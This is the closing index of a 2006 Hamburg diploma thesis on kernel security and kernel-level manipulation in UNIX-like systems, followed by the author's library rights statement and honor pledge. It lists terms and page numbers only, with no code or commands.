   UNIX-, 15
kernel loadable module, see kernel loadable object
kernel loadable object, 31
kernel manipulation, 43
kernel mode, 15
kernel module, 31
kernel name space, 38
kernel segment, 22
kernel-non-privileged user, 62
kernel-privileged user, 62
kld, see kernel loadable object
layered system architecture, 7
library, 10
link, 40, 58
linker file, 33, 34
live-system, 63
low level data and functions, 46
low level vertex, 46
MAC, see mandatory access control
malicious, 47
malicious activity, 16
malicious process, 17
malicious program, 17
mandatory access control, 11
manipulation, 16, 47
memory
   region, see region
mitigation, 62
Multics, 14
name space, see kernel name space
network secure mode, 69
normal user, 62
object, access control policy, 10
object, virtualized, 12
operating system, 12
   kernel, 9
   UNIX-like, 14
orderly system, 4
paging, 8
payload, 17
penetration, 17
permanent kernel module, 31
permanently insecure mode, 68
persistence, 45
PHDR, see program header table
pipe, 14, 40
point of attack, 45
point of incident, 45
prevention, 61
process
   context, 19
   table, 19
program header table, 22
protection domain, 8
read-only memory, 63
reference monitor, 12, 67
reference validation mechanism, 12
region, 23
regular file, 40, 41
remote debugging, 77
removal, 62
risk, 7
ROM, see read-only memory
RVM, see reference validation mechanism
secure boot, 63
secure levels, 68
secure mode, 69
secure shell, 59
security, 4
security kernel, 13
security levels, 30, 68
security mechanism, 5
security policy, 5
security target, 6
segmentation, 8
shell model, 15
single user mode, 68
socket, 14, 40
software initiated trap, 25
specification, 3
SSH, see secure shell
stack, 24
stack segment, 22
static analysis, 76, 77
stealth, 45
structures:
  - process structure, 19, 20
  - sysentvec structure, 21
  - thread structure, 21
  - vmspace structure, 21, 23
subject, access control policy, 10
subject, virtualized, 12
superuser, 62
supervisor flag, 22
system append-only flag, 69
system call, 9, 21, 26
system call interface, 9
system control, 30
system immutable flag, 69
system no unlink flag, 69
system process, 19
system program, 10
target system, 16
task gate descriptor, 25
task state segment, 20
TCB, see trusted computing base
threat, 16
top half of the kernel, 9, 25
trap gate descriptor, 25
trusted computing base, 11
trusted operating system, 10
trustworthiness, 6
TSS, see task state segment

UFS, see Unix File System
UID, see user identification number
UNIX, 14
Unix File System, 41
user, 62
user identification number, 12, 62
user mode, 15
user process, 19
user segment, 22
valid specification, 7
validation, 7
verification, ix, 7
virtual address space, 12
virtual filesystem, 12
virtual machine, 12, 65
virtual node, 12
virtual operating system, 12
virtual process, 9, 12
virtual processor, 12
virtualization, 12
vnode, 40
vulnerability, 16
write flag, 23
Library Rights Statement

I agree that this thesis may be made available for inspection within the Library. I further agree that permission for copying of the thesis for scholarly purposes may be granted by the Librarian. It is understood that any copying or publication of this thesis for financial gains shall not be allowed without my written permission.

Honor Pledge

I declare upon my word of honor that the diploma thesis submitted herewith is entirely my own work and that only the sources and aids listed have been used. All references or quotations in any form and their use have been clearly identified in the source references.

Hamburg, June 6, 2006

Christopher Alm